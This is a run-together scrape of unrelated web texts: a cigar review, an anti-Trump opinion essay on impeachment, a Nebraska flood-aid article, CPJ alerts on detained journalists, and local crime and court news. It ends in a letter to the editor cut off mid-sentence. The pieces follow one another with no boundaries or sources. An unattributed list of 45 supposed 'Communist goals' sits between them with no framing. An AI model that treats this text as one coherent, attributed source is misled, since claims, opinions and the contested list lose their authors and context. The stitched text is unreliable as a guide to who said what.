Cigars International and its distribution arm Meier & Dutch, owned by General Cigars parent company Scandinavian Tobacco Group. In 2017, the Diesel brand was moved into General Cigars portfolio as a brick and mortar line. At that time, the Diesel Grind was shifted to General as a brick and mortar exclusive. This was followed up by the widely successful Diesel Whiskey Row in 2018, and there are plans for the Diesel Whiskey Row Sherry Cask (both of these collaborations with were done with Rabbit Hole Distillery) to be released next month. Sandwiched in between the two Whiskey Row releases was the Diesel Hair of the Dog. Today, we take a closer look at this project. The name Hair of the Dog originally referred to a method of treatment of a rabid dog bite by placing hair from the dog into the wound. Legend has it that those hairs will prevent evil consequences. It also is an expression referring to a hangover cure where drinking more of the same alcohol consumed will lessen the original effects suffered. It somewhat fits into the theme of spirits that we have seen the Diesel brand use with the Whiskey Row projects. As for Diesel Hair of the Dog, it actually is not a new brand. Several years ago, there was a Diesel Hair of the Dog release back when Diesel was a catalog brand. The 2019 edition is a completely different blend and cigar. Without further ado, lets break down the Diesel Hair of the Dog and see what this cigar brings to the table. Blend and Origin Diesel Hair of the Dog marries an Ecuadorian Habano wrapper over an Ecuadorian Sumatra binder. The fillers consist of a blend of Nicaraguan Habano tobacco. The cigar is produced at AJ Fernandezs Tabacalera Fernandez factory in Esteli, Nicaragua. Wrapper: Ecuadorian Habano Binder: Ecuadorian Sumatra Filler: Nicaraguan Habano Country of Origin: Nicaragua Factory: Tabacalera Fernandez Vitolas Offered Diesel Hair of the Dog is available in one size a 6 x 54 box-pressed Toro. Its packaged in 10-count boxes with a total of 5,000 boxes produced. Appearance The Ecuadorian Habano wrapper of Diesel Hair of the Dog has a medium brown color to it. The wrapper has a sheen of oil on the surface of it. While there are some visible veins, the wrapper has a relatively smooth surface. Most of the wrapper seams are not very noticeable. The cigar itself has a Cuban Trunk press style to it. The band of the Diesel of the Hair has a beige background with gray trim. On the center of the band is the text HAIR OF THE DOG with HAIR and DOG in large gray font and OF THE in smaller font. Above the text is a red d sitting over darker beige adornments. To the left of the text is the text diesel in white font. PERFORMANCE Pre-Light Draw The cigar experience of the Diesel Hair of the Dog commenced with a straight cut. Once the cap was removed, it was on to the pre-light draw ritual. The cold draw delivered a mix of wood, floral, and natural tobacco. I didnt find this to be the most exciting pre-light draw, but given we do not incorporate the pre-light experience into the rating, there was no loss of points here. At this point, it was time to light up the Diesel Hair of the Dog and await what the smoking phase would have in store. Tasting Notes The Diesel Hair of the Dog kicked off with notes of earth, natural tobacco, floral, and a mix of black and red pepper. Early on the earthy notes developed a creaminess and moved into the forefront. The natural tobacco, pepper, and floral notes settled into the background. Meanwhile, there was an additional layer of red pepper on the retro-hale. Midway through the first third, some coffee notes surfaced. The coffee notes along with the natural tobacco moved into the forefront joining the creamy earth notes. These notes each had a varying degree of intensity in the forefront. Concurrently the pepper and floral notes remained in the background. As the Diesel Hair of the Dog moved into the second half, the creamy earth, natural tobacco, and coffee notes continued to alternate in intensity levels in the forefront. There was also a gradual increase in the pepper notes while the floral notes remained in the distant background. Toward the last third of the cigar experience, the natural tobacco subsided into the background leaving the coffee and earth notes in the background. The pepper notes closed in on the forefront, but never overpowered the flavor profile and the floral notes remained distant. This is the way the Diesel Hair of the Dog came to a close. The resulting nub was firm to the touch and cool in temperature. Burn The Diesel Hair of the Dog had no problem of maintaining a straight burn path. While there was a slight amount of jaggedness on the burn line, this didnt prove to be problem-some and really didnt warrant any additional touch-ups. The resulting ash was firm with a mostly silver-gray color. The burn rate and burn temperature were both ideal. Draw The draw to the Diesel Hair of the Dog performed quite well. It had a nice balance of openness and resistance which I think is very important on a box-pressed cigar. This was a cigar the produced an ample amount of smoke. Strength and Body For the most part, I found the Diesel Hair of the Dog to have a medium strength, medium-bodied profile from start to finish. There was a slight increase in the intensity of both attributes in the second half, but I didnt find the increase enough to push the cigar into medium to full territory. In terms of strength versus body, I found both attributes balanced each other very nicely with neither attribute overshadowing the other. OVERALL ASSESSMENT Final Thoughts One thing that I found interesting is when the Diesel Hair of the Dog was released was that General Cigar mentioned this was a cigar that was meant to complement the original Diesel Whiskey Row. I concur that there are some definite parallels with the flavor profiles. At the same time, there are plenty of differences as well. Diesel Hair of the Dog is one of those cigars that each time I smoked it, I was able to pick up something else from. It brings flavor, complexity, and excellent construction into one nice package. Its a cigar I could recommend to the novice or experienced cigar enthusiast. As for myself, its one I would smoke again and it garners box worthy consideration. Summary Key Flavors: Creamy Earth, Coffee, Natural Tobacco, Pepper, Floral Burn: Excellent Draw: Excellent Complexity: Medium Strength: Medium Body: Medium Finish: Excellent Rating Value: Box Worthy Consideration Score: 91 References News: Cigar News: Diesel Hair of the Dog Released Price: $10.00 Source: General Cigar Company Brand Reference: Diesel Photo Credits: Cigar Coop INTERESTING TIMES The Appeasement of Donald Trump More to the point, he has refused to protect the American election system from the malevolent designs of a foreign enemy. Thanks to leaks , we know now that he has been doing this for the last two years, even though other members of the administration, like Kirstjen Nielsen, were prepared to take strong, defensive measures. Why? Because any mention of Russian interference reminds him of the question of his legitimacy, and that enrages him. Which is to say he has openly put his personal amour propre before the interests of every citizen in this country who wants to preserve our electoral integrity. This alone is an unambiguously impeachable offense. Congress should immediately subpoena Nielsen to testify about the presidents deliberate refusal to perform his core duties. I see no way Trump can actually stop her now she is outside the administration if she has the courage to expose the ugly truth. On Wednesday, the president again attacked the justice system, by impugning the integrity of a by-the-book investigation, lying about the lawyers who did their duty, and appealing to the Supreme Court (of all places) to stop impeachment: The Mueller Report, despite being written by Angry Democrats and Trump Haters, and with unlimited money behind it ($35,000,000), didnt lay a glove on me. I DID NOTHING WRONG, If the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court. Not only are there no High Crimes and Misdemeanors, there are no Crimes by me at all. All of the Crimes were committed by Crooked Hillary, the Dems, the DNC and Dirty Cops and we caught them in the act! We waited for Mueller and WON, so now the Dems look to Congress as last hope! This is, of course, deranged. Robert Mueller is neither an Angry Democrat, nor, so far as we can tell, a Trump hater . The Supreme Court has no role in impeachment. Obstruction of justice is a textbook case of a high crime and misdemeanor, as the articles of impeachment for both Bill Clinton and Richard Nixon quite plainly show. Mueller it is vital to keep repeating demonstrates that Trump attempted to obstruct justice on six occasions, and argues that several more cases of obstruction need to be taken seriously. In the case of Paul Manafort, it appears the president succeeded in thwarting the investigation by encouraging him not to cooperate. (Mueller: The evidence supports the inference that the President intended Manafort to believe that he could receive a pardon, which would make cooperation with the government as a means of obtaining a lesser sentence unnecessary.) But its telling, it seems to me, that in this tweet, Trump clearly regards the Supreme Court as his ultimate backstop because he has created a majority that he assumes will always defend him. His intent is to get another branch of the government on his team, i.e. under his direct control. Thats how he sees the federal courts as an extension of a strongmans will. So far, that hasnt been the case (in some instances, especially on immigration, the judicial pushback has actually been excessive) but with more and more judges chosen precisely because they do not believe in challenging executive power, it is seemingly Trumps intention that the judiciary will be his. In other words, hes slowly neutering the judicial checks and balances and defying the congressional ones. (As a way to nullify the Senates advice and consent function, for example, Trump increasingly relies on acting secretaries, appointed with no Senate approval and thereby even more vulnerable to Trumps personal leverage. As Trump explained , I like acting. It gives me more flexibility. Do you understand that? Yes, Mr. President, we do.) When you combine this looming scenario of a completely unaccountable president (outside presidential elections) with the powers of the presidency as they have evolved since the Second World War, you have a Turkey scenario. The GOP will not stand in the way of strongman rule, and will, in fact, try to buttress it. Even when Trump usurped the Congresss power of the purse by declaring a fake national emergence, 182 out of 195 Republican House members eagerly backed him, surrendering their constitutional power in favor of Trumps diktat. Just look at that sad sack, Lindsey Graham. Hes a man who insisted that perjury in a civil suit on sexual harassment was impeachable and led the prosecution in the Senate trial of president Clinton no less but that dangling pardons, intimidating witnesses, attempting to fire a special prosecutor, and threatening the integrity of the justice system, in Muellers devastating words, is no big deal. Thats the power of the Trump cult in the GOP base. The House Speaker, for her part, reacted to a report outlining ten cases of obstruction of justice (ten more than Clinton was accused of) by immediately dissing the idea of impeachment. Steny Hoyer firmly ruled it out . Their response to Mueller was, to my mind, incredible, but telling. I can fully understand taking your time. No one is asking for an impeachment vote yet just hearings including Trump officials who spoke with Mueller, in a consideration of impeachment. The Dems too often assume a defensive crouch, even when our Constitution is at stake. Against the Big Lie of No Collusion. No Obstruction, their message is muddled. They are beginning to wake up, but if a president wantonly obstructs justice and the opposition party immediately worries about the political cost of impeachment, were in deep trouble. Im no more optimistic about the likely result of impeachment than I ever have been. Even if the House were to approve articles of impeachment, I doubt Senator Mitch McConnell would follow what are the obvious constitutional obligations. McConnell has ripped up Senate rules when they might hurt the GOPs interests before remember Merrick Garland? Or the Supreme Court filibuster? And there is some wriggle room here. The Constitution does not explicitly mandate a trial in the Senate if the House approves articles of impeachment. It simply says the Senate has the sole power to try a president. You think McConnell would hesitate to use that nuance to shut any trial down before it started? Bob Bauer has noted : The question presented in some form would be whether, under the relevant rules, the Senate is required to hold an impeachment trial fully consistent with current rules or even any trial at all. A chairs ruling in the affirmative would be subject to being overturned by a majority, not two-thirds, vote. If you think McConnell would ever convene a trial, or that a majority would vote for it, youre underestimating the radicalism of the current GOP. Trump didnt invent the powers he is now abusing. The slow accretion of powers vested in the executive have been growing for quite a while, from the Second World War onward into the Cold War. But the 21st century has broken new ground. We know, for example, that the last president once stated he could not unilaterally change immigration law to prevent Dreamers from being deported because he is not a king , and then, in his second term, went ahead and did it anyway. We know he launched a new war against ISIS in 2015 based on the Authorization for the Use of Military Force of 2001 because the Congress abdicated its constitutional duty to declare war. What Trump demonstrates is that a brilliant demagogue with one partys cultlike support can use these extraordinary powers to install a version of a strongman presidency in the model of Erdogan in Turkey or Orban in Hungary. Only a massive public insurrection against strongman rule can begin to reverse this. Its not happening, but it needs to. The shock and zeal and passion so many felt in 2016 needs to be summoned again. The Congress needs to subpoena Don McGahn and Kirstjen Nielsen to testify about their experiences in the White House. They need to tell the story that Mueller has laid out, in vivid testimony day after day. They may well have to go to court to enforce their oversight role. The focus should be on Trumps claim to be beyond the rule of law. The Democratic candidates need to be clear about domestic policy and focus on it as a way to remove Trump by the ballot box but they shouldnt duck the gravity of our current constitutional crisis. Its real and its important. More sane right-of-center voices like that of the admirably sane Andrew Napolitano and David French need to explain that this is not about right or left, or Democrats or Republicans, but about the preservation of our republic. Mitt Romney has to do more than simply feel sickened. It took a long time for Nixons crimes to sink in with the public. But eventually they did. Yes, Trumps hegemony is strong, and getting stronger. He can bypass the television networks in ways Nixon couldnt have dreamed of. He has a very strong economy. He has successfully marginalized much of the mainstream media for half the country. He has a shamelessness that is rarely found, even the most vulgar and venal. He is prepared to push buttons in the national psyche that few sane or decent people would. He can seem, in his demagogic genius, intimidating. No one should be intimidated. And of course appeasement in the past has not always led to defeat. With a long, bitter, damaging campaign of resistance and counterattack, it can end in victory as well. Lets put aside all our differences on policy and politics, and together do our constitutional duty. Every hour. Every day. Until we have not only defeated this presidents assault on America but cast him and his party into the rubbish bin of history. In the words of the late Ernest Warren LeFever, "Appeasement is always wrong."(What do y'all reckon?). My favorite line in the Mueller report is when DONALD JOHN TRUMP notices White House Counsel Donald McGahan taking notes -- Trump said none of his lawyers ever took notes before. Mr. McGahan replied, "I'm a real lawyer." A Disaster Recovery Center designed to put flood-affected residents in direct contact with the Federal Emergency Management Agency (FEMA) representatives has been erected in Bellwood. The facility is located inside of the Bellwood Volunteer Fire Department, 752 41st Road. This DRC location is open from 9 a.m.- 6 p.m. through Saturday. Friday, the center will be closed during Arbor Day. First and foremost, these centers will place county residents in front of people who can assess their own unique situations and help them apply for Individual Assistance aid through FEMA. Statewide, released information shows that just under 5,000 people have filed claims and that just under $19 million in Individual Aid has been approved. This includes $16,816,436 for housing and $1,921,413 for other disaster-related needs. The deadline to apply for Individual Assistance remains March 20. Statewide, there are a total of 27 counties, as well as the Santee Sioux Nation, eligible for this assistance. Those counties are Antelope, Boyd, Burt, Cuming, Hall, Howard, Madison, Nance, Pierce, Platte, Saline, Stanton, Knox, Thurston, Boone, Buffalo, Custer, Richardson, Butler, Cass, Colfax, Dodge, Douglas, Nehema, Sarpy, Saunders and Washington. There are several ways to apply, according to FEMA Public Information Officer Thomas Kempton, who oversees portions of the FEMA operation in Nebraska. People can go online and visit disasterassistance.gov, download the FEMA app on their smartphones or call 1-800-621-3362 anytime from 7 a.m. 10 p.m. seven days a week. Typically, Kempton said, people qualifying for aid receive in the ballpark of $4,000-$5,000. In addition to having access to FEMA representatives, those attending the Butler County DRC or any open DRC statewide - will be able to pick the brains of U.S. Small Business Administration (SBA) staff. The federal organization offers low-interest loans to businesses of all sizes, most private nonprofit organizations, homeowners and renters. Businesses and nonprofits are eligible for up to $2 million in loans, homeowners $200,000 and $40,000 loans for homeowners and renters needing to cover personal property loss. And the loan payment is much lower than usual, Said Elizabeth Vargas, an SBA representative currently serving Nebraska. Vargas lives in Houston, so shes no stranger in dealing with flood-ravaged terrain. I spent five months working Hurricane Harvey, she said. She noted that people have the preconceived notion that the SBA only works with businesses, but in disaster situations, it opens up loan services for homeowners and renters, too. Vargas said that the first thing flood-affected individuals should do is apply for Individual Assistance through FEMA and that then FEMA reps will talk them through how to apply for an SBA loan. Those not accepted through the SBA will then be referred back to FEMA to see if any other assistance is available. The process of seeing what is covered through personal insurance, FEMA and the SBA can all be completed simultaneously, so Vargas encourages affected residents to get a jump on the process if they havent already. The organization as of Friday, April 19, had approved $15,169,300 in low-interest disaster loans for state residents and businesses. The nice thing about the process, she said, is that the application comes with no monetary strings attached. Even if a person or business is approved for a loan, they dont have to accept and it wont affect the lining of their pockets. You fill out your application, and they dont have to take the loan, there are no fees, Vargas said. If they dont want the loan after they have been approved, or if they want less money, we work with them. They will have six months to decide whether they want to take the loan. There are no closet fees - nothing. So its a win-win situation. They have the resources available and if they dont need them or want them, its fine with us. But at least they know they have the resources available." To apply using SBAs online secure website, those interested are encouraged to visit www.disasterloan.sba.gov/ela. The application can also be completed at any open DRC. For additional information, those interested are encouraged to call 1-800-659-2955 to speak with an SBA representative. The filing deadline is May 20. Sam Pimper is the news editor of The Banner-Press. Reach him via email at sam.pimper@lee.net. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. 1. U.S. acceptance of coexistence as the only alternative to atomic war. 2. U.S. willingness to capitulate in preference to engaging in atomic war. 3. Develop the illusion that total disarmament of the United States would be a demonstration of moral strength. 4. Permit free trade between all nations regardless of Communist affiliation and regardless of whether or not items could be used for war. 5. Extension of long-term loans to Russia and Soviet satellites. 6. Provide American aid to all nations regardless of Communist domination. 7. Grant recognition of Red China. Admission of Red China to the U.N. 8. Set up East and West Germany as separate states in spite of Khrushchev's promise in 1955 to settle the German question by free elections under supervision of the U.N. 9. Prolong the conferences to ban atomic tests because the United States has agreed to suspend tests as long as negotiations are in progress. 10. Allow all Soviet satellites individual representation in the U.N. 11. Promote the U.N. as the only hope for mankind. If its charter is rewritten, demand that it be set up as a one-world government with its own independent armed forces. (Some Communist leaders believe the world can be taken over as easily by the U.N. as by Moscow. Sometimes these two centers compete with each other as they are now doing in the Congo.) 12. Resist any attempt to outlaw the Communist Party. 13. Do away with all loyalty oaths. 14. Continue giving Russia access to the U.S. Patent Office. 15. Capture one or both of the political parties in the United States. 16. Use technical decisions of the courts to weaken basic American institutions by claiming their activities violate civil rights. 17. Get control of the schools. Use them as transmission belts for socialism and current Communist propaganda. Soften the curriculum. Get control of teachers' associations. Put the party line in textbooks. 18. Gain control of all student newspapers. 19. Use student riots to foment public protests against programs or organizations which are under Communist attack. 20. Infiltrate the press. Get control of book-review assignments, editorial writing, policymaking positions. 21. Gain control of key positions in radio, TV, and motion pictures. 22. Continue discrediting American culture by degrading all forms of artistic expression. An American Communist cell was told to "eliminate all good sculpture from parks and buildings, substitute shapeless, awkward and meaningless forms." 23. Control art critics and directors of art museums. "Our plan is to promote ugliness, repulsive, meaningless art." 24. Eliminate all laws governing obscenity by calling them "censorship" and a violation of free speech and free press. 25. Break down cultural standards of morality by promoting pornography and obscenity in books, magazines, motion pictures, radio, and TV. 26. Present homosexuality, degeneracy and promiscuity as "normal, natural, healthy." 27. Infiltrate the churches and replace revealed religion with "social" religion. Discredit the Bible and emphasize the need for intellectual maturity which does not need a "religious crutch." 28. Eliminate prayer or any phase of religious expression in the schools on the ground that it violates the principle of "separation of church and state." 29. Discredit the American Constitution by calling it inadequate, old-fashioned, out of step with modern needs, a hindrance to cooperation between nations on a worldwide basis. 30. Discredit the American Founding Fathers. Present them as selfish aristocrats who had no concern for the "common man." 31. Belittle all forms of American culture and discourage the teaching of American history on the ground that it was only a minor part of the "big picture." Give more emphasis to Russian history since the Communists took over. 32. Support any socialist movement to give centralized control over any part of the culture--education, social agencies, welfare programs, mental health clinics, etc. 33. Eliminate all laws or procedures which interfere with the operation of the Communist apparatus. 34. Eliminate the House Committee on Un-American Activities. 35. Discredit and eventually dismantle the FBI. 36. Infiltrate and gain control of more unions. 37. Infiltrate and gain control of big business. 38. Transfer some of the powers of arrest from the police to social agencies. Treat all behavioral problems as psychiatric disorders which no one but psychiatrists can understand. 39. Dominate the psychiatric profession and use mental health laws as a means of gaining coercive control over those who oppose Communist goals. 40. Discredit the family as an institution. Encourage promiscuity and easy divorce. 41. Emphasize the need to raise children away from the negative influence of parents. Attribute prejudices, mental blocks and retarding of children to suppressive influence of parents. 42. Create the impression that violence and insurrection are legitimate aspects of the American tradition; that students and special-interest groups should rise up and use united force to solve economic, political or social problems. 43. Overthrow all colonial governments before native populations are ready for self-government. 44. Internationalize the Panama Canal. 45. Repeal the Connally reservation so the United States cannot prevent the World Court from seizing jurisdiction over nations and individuals alike. - Ley Organica 6/2021 , de 28 de abril, complementaria de la Ley 6/2021, de 28 de abril, por la que se modifica la Ley 20/2011, de 21 de jul... Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram New York, April 25, 2019 Saudi authorities should immediately release Jordanian journalist Abdulrahman Farhana as well as the other journalists swept up in their campaign against dissent, the Committee to Protect Journalists said today. Saudi authorities detained Farhana, a Saudi-based columnist for Jordanian daily al-Sabeel and contributor to the Qatari network Al-Jazeera, on February 20 and have held him since in an unknown location without any charges made public, according to al-Sabeel, Jordanian journalist Hilmi Asmar, who spoke with CPJ, and Farhanas family, who announced the arrest in a statement issued by the Jordanian Press Syndicate and published in the Jordanian newspaper al-Rai on April 23. Farhanas family members told Asmar that they have not been able to contact Farhana since his arrest, Asmar told CPJ. The journalists detention comes amid a crackdown in the country that has seen at least eight journalists detained since the beginning of 2019, according to CPJ reporting. A country that behaves like Saudi Arabia under Crown Prince Mohammed bin Salman, throwing journalists in prison without charges or communication, is not worthy of international regard or partnership, CPJ Middle East and North Africa Program Coordinator Sherif Mansour said from Washington, D.C. Saudi authorities must free Abdulrahman Farhana immediately. Authorities intercepted Farhana as he was driving from his home in Dammam, the capital of Saudi Arabias Eastern Province, to Jeddah and made him return to Dammam, where they searched his house and detained him, Asmar said. Farhana has lived in Saudi Arabia for 42 years and also maintains a home in Amman, Jordan, Asmar told CPJ. Al-Sabeel lists Farhana as a writer for the newspaper from outside Jordan on its website but CPJ could not locate examples of his articles. Farhana writes about intra-Palestinian politics, regional geopolitics, and Islamist political movements for Al-Jazeera, according to his author page on the networks website. Al-Sabeel and Al-Jazeera did not immediately respond to emails from CPJ seeking comment. Jordanian Foreign Minister Ayman Safadi told the Jordanian Press Syndicate that the Jordanian Embassy in Riyadh was following the matter, according to the syndicates statement. The Saudi Embassy in Washington, D.C., and the Jordanian Foreign Ministry did not immediately respond to CPJs emails requesting comment. In 2017, amid a diplomatic crisis between Qatar and Saudi Arabia and its allies, Saudi authorities revoked Al-Jazeeras broadcast license and forced the network to close its Saudi office, as CPJ reported at the time. CPJs annual prison census found that at least 16 journalists were behind bars in Saudi Arabia as of December 1, 2018. Saudi authorities often detain journalists in unknown locations without charges and deny families the opportunity to contact detainees, and journalists are often detained for months before their cases become public, according to CPJ research. EDITORS NOTE: The text has been modified throughout to correct the spelling of Abdulrahman Farhanas name. Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram Bangkok, April 25, 2019 Myanmars military should drop its criminal defamation case against independent news outlet The Irrawaddy over its coverage of the conflict in the countrys Rakhine state, the Committee to Protect Journalists said today. On April 12, the militarys Yangon Region Command filed the criminal complaint against the news outlets Burmese-language editor Ye Ni at the Kyauktada Police Station in Yangon, The Irrawaddy reported. The criminal complaint was filed under the Telecommunications Laws Section 66(d), a provision that permits two-year prison sentences for guilty convictions, the report said. The complaint was prompted by an April 1 report in The Irrawaddy concerning assaults by the military on March 18 and 19 that allegedly resulted in civilian casualties in Rakhine states Maruk-U town, which was published in both English and Burmese, Ye Ni told CPJ via email. Ye Ni was allowed to post bail on the same day the complaint was filed, The Irrawaddy reported. This spurious criminal accusation against The Irrawaddy editor Ye Ni should be dropped immediately and unconditionally, said Shawn Crispin, CPJs senior Southeast Asia representative. Myanmars military should stop using legal threats to stifle news coverage of ongoing armed conflict and allow journalists to do their jobs without fear of reprisal. Brigadier General Zaw Min Tun, an official at the militarys True News Information Team, a communications department, told The Irrawaddy on April 21 that its recent news coverage on clashes between government forces and the insurgent Arakan Army had been unfair and prompted the legal action, the outlet reported. CPJs calls to the True News Information Team requesting comment on the complaint did not receive a response. Ye Ni told CPJ that The Irrawaddy has appealed to the Myanmar Press Council, an independent body tasked with resolving media disputes, to mediate the case, as permitted under the countrys Media Act to prevent frivolous lawsuits against journalists. In an email to CPJ, The Irrawaddy editor-in-chief Aung Zaw called the complaint part of a military intimidation campaign aimed at silencing prominent media. Aung Zaw was a CPJ 2014 International Press Freedom Award honoree. The criminal complaint against The Irrawaddy comes against the backdrop of the continued incarceration of Reuters reporters Wa Lone and Kyaw Soe Oo, whose final appeal of their seven-year prison sentences under the Official Secrets Act for reporting on the conflict in Rakhine state was rejected on April 23, as CPJ reported at the time. Myanmars government and military have used Section 66(d) charges to stifle media criticism and intimidate and harass journalists, and CPJ has met with representatives of Myanmars Ministry of Information to advocate for the repeal of 66(d) and other laws and provisions authorities use to restrict press freedom and harass journalists. Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram On April 20, 2019, video journalists Gaspard Glanz and Alexis Kraland were arrested while covering yellow vest anti-government protests in Paris, according to media reports. Glanz, a video reporter with Taranis News, a news website he founded, was arrested for allegedly insulting a police officer and participating in a violent group, French public broadcaster RFI reported. In a video of his arrest published on YouTube by Hors-Zone Press, an online news organization that has frequently covered the yellow vest protests, Glanz is seen shouting at a police officer, saying that he had been affected by tear gas fired by police. Another officer is then seen shoving Glanz, who responded with an obscene gesture; a group of officers then pulled Glanz to the ground and arrested him. Glanz remained in custody until April 22, when he appeared before a Paris court, which released him on the condition that he was barred from staying in Paris on every proceeding Saturday, the days when yellow vest protests are held, and on May 1, when large demonstrations are expected, until his contempt of authority trial on October 18, according to media reports. In an interview with French news website Reporterre, Glanz said that he intends to continue covering the protests in Paris on Saturdays, because I am a journalist and I work and I live in Paris. Kraland, a freelance video reporter, was also arrested during the April 20 protest, and was released by police later that day, RFI reported. According to Kralands posts on Twitter and a report by French daily Le Monde, he was detained for eight hours after for allegedly participating in a violent group and for refusing to hand over his camera to the police, who claimed it was a weapon. On April 21, French Interior Minister Christophe Castaner addressed Glanz and Kralands cases, saying, if journalists are arrestedwhich can happenthey are obviously not [arrested] because they are journalists, but because of violations, according to Le Monde. CPJ emailed the Ministry of Interior for comment but did not receive a reply. In December 2018, several journalists were injured by both police and demonstrators while covering yellow vest protests in France and Belgium, as CPJ reported at the time. 6 injured in crash on KY 91 North Updated Tuesday, Dec. 21, 9:23am UPDATE : Curtis R. Smith, the driver of the Toyota Corolla involved in the crash, has died. Investigators n... Criminal cases from Crittenden Circuit Court In this week's full edition Keep up with criminal activity in your community. The Crittenden Press provides comprehensive coverage of gr... Governor provides storm recovery update Gov. Andy Beshear provided his weekly Team Kentucky update, focusing on his administrations latest response efforts to last weekends quad-... Safe rooms offer protection from violent storms Click Image to Enlarge Easley Construction can ease fears over severe storms with the installation of safe rooms. Construction of indoor or ... HARRISBURG Pennsylvanias highest court upheld the death sentence and conviction on Friday of a sniper who killed a state trooper and wounded another in a nighttime ambush outside their barracks in a heavily wooded area. The state Supreme Courts decision upholds lower court decisions in the case of Eric Frein, who was convicted in the 2014 murder of Cpl. Bryon Dickson II outside the Blooming Grove barracks in northeastern Pennsylvania. Another trooper, Alex Douglass, was badly wounded. Frein receives death sentence MILFORD With his victims two sons in court for the first time, a gunman who shot and killed a Pennsylvania trooper was formally sentenced t In a 45-page opinion supported by five of the courts seven justices, Justice Debra Todd wrote that the evidence presented at trial was sufficient to support a first-degree murder conviction and death penalty. The court also rejected several challenges by Freins lawyers, including one in which they contended that the trial judge violated Freins right to remain silent and right to a lawyer by allowing the jury to see his post-arrest videotaped interview with police. After the ambush, Frein led authorities on a 48-day manhunt through the Pocono Mountains before U.S. marshals caught him at an abandoned airplane hangar. The area was briefly transformed, with heavily armed federal agents and police from several states patrolling streets, combing forests and cordoning off neighborhoods. Pa. trooper slaying appeal focuses on how suspect was questioned HARRISBURG Pennsylvania's highest court peppered a defense lawyer and a prosecutor with questions Thursday about the police interrogation of Frein was convicted in 2017. He is on death row, but the most recent execution in Pennsylvania was nearly two decades ago. The states current governor has said he will grant a reprieve each time an execution is scheduled until the Legislature addresses problems identified in a report last year. Gov. Tom Wolf has called the system ineffective, unjust and expensive. A Lower Allen Township man raped and choked his ex-girlfriend Thursday evening, according to an affidavit of probable cause from a New Cumberland police officer. Dane Christian Harbold, 26, of Mechanicsburg, was charged with rape by forcible compulsion, strangulation, simple assault and unlawful restraint after the incident, which occurred in the 700 block of Bridge Street in New Cumberland. The ex-girlfriend told police she and another person had recently returned to her apartment. She was in the kitchen when Harbold "walked around the corner" and wanted to unlock her phone so he could look through it, police said. She attempted to call 911 but he prevented her. Harbold then forced her into a bedroom, forcibly restrained her, and choked her around the neck and by covering her nose and mouth with his hands, police said. He also asked her if she wanted to die tonight, and then raped her. She asked the other person present to to go to a neighbor and get help, according to the affidavit. Harbold ran from the house into an alley. Police responded at 6:59 p.m. and observed that the woman had two cuts and two bruises on her right arm. Harbold was arraigned at 7:45 a.m. Friday in front of Magisterial District Judge Jonathan R. Birbeck, and bail was denied. A preliminary hearing is scheduled for 8:45 a.m. May 15 in front of magisterial district judge Charles A. Clement Jr. Daniel Walmer covers public safety for The Sentinel. You can reach him by email at dwalmer@cumberlink.com or by phone at 717-218-0021. 40 Years Ago The Sentinel reported that Carlisle Borough and surrounding Cumberland County could be the subject of a British Independent Television documentary relating to recent events at Three Mile Island. The purpose of the documentary was to show what Carlisle, England, could learn from Carlisle, Pennsylvania, regarding its experiences with a nuclear power plant accident. Carlisle, England, is located near three nuclear power plants, one of which had a history of accidents that included a fire in one of its stacks. In other news, The Sentinel reported that the Acme food store on Hanover Street was slated to close at the end of business on April 28. The store had opened on Oct. 17, 1956. It was closed because of its small size and distance from other Acme supermarkets. The stores four full-time employees may be relocated to other Harrisburg-area stores. Its unsold food will be shipped to other stores while most of its hardware and refrigeration equipment will be sold at public action. PITTSBURGH A 17th century Geneva Bible, one of the hundreds of rare books authorities said were stolen from a Pittsburgh library as part of a 20-year-long theft scheme, is back home. The Bible, published in 1615, was traced to the American Pilgrim Museum in Leiden, about 45 miles from Amsterdam in the Netherlands, said FBI agent Robert Jones. It was among more than 300 rare books, maps, plate books, atlases and more that were discovered missing from the Carnegie Library of Pittsburgh last year. A former archivist at the library and a rare book dealer are accused of stealing books valued at more than $8 million. The Bible is more than a piece of evidence, Jones said Thursday at a news conference in Pittsburgh. I am happy to say it has finally made its way back to its rightful owner here in Pittsburgh. There are several similar Bibles, Jones said afterward. From a dollar-figure sense, it is not priceless, he said. From a history perspective, it is priceless. The Dutch museum had paid $1,200 for the Bible, District Attorney Stephen Zappala Jr. said. The first edition of the Geneva Bible was published in 1560. This edition, published in London four years after the first King James version, is similar to a Bible known to have been brought over by the Pilgrims in 1620, Jones said. The FBI will hand over the Bible to Allegheny County prosecutors, who will return it to the library, Zappala Jr. said. After charges were filed last year, the director of the Dutch museum contacted police in The Hague and the Carnegie Library, which in turn contacted the FBI in Pittsburgh, Zappala said. The FBI in The Hague worked with the museum and then shipped the Bible to FBI offices in Pittsburgh, FBI agent Shawn Brokos said. Wearing blue latex gloves, she displayed the Bible, carefully opening its weathered pages. The FBI hopes news of the recovery of this Bible will prompt others to look at their collections for any possible items stolen from the Pittsburgh library. Some probably are in private collections, Jones said. Prosecutors in Pittsburgh have so far recovered 18 of the books stolen from the library, Zappala said. They have been found in the U.S. and abroad. One copy of Isaac Newtons Philosophiae Naturalis Principia Mathematica, a watershed of science valued at $900,000, and John Adams A Defense of the Constitutions of Government of the United States of America, valued at $20,000, are among the items prosecutors have recovered, Zappalas spokesman said. One of the books not yet recovered is An Inquiry into the Nature and Causes of the Wealth of Nations the magnum opus by philosopher Adam Smith, valued at $180,000. The room at the Carnegie Library where the stolen items were on display remains closed. Zappala said he will have discussions with the Carnegie Library on displaying this Bible to the public. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Dear Editor: Cumberland County Judge Christylee Peck is running to serve on Pennsylvanias Superior Court, and I am delighted. I first got to know her in 2011, when she ran for her current position. I was impressed by her demeanor, her special interest in dealing with children and youth, and her broad legal experience (including former Senior Assistant District Attorney). I spoke with knowledgeable attorney friends whom I hold in high regard, and they all gave her rave reviews for applying the law with fairness. As Ive watched her judicial performance, Ive been impressed beyond what I anticipated. Unlike some other candidates, Christylee Peck currently serves as a judge. The experience shes gained since 2011 is invaluable. Pleading cases on behalf of clients is very different from dispensing justice responsibly. Beyond the usual criminal and civil cases we laypeople think about, she deals with custody disputes, protection from abuse petitions, dependency petitions, guardianship, and adoptions. She was selected to serve on the Board for Pennsylvania Court Appointed Special Advocates for Children, and she is recommended by the 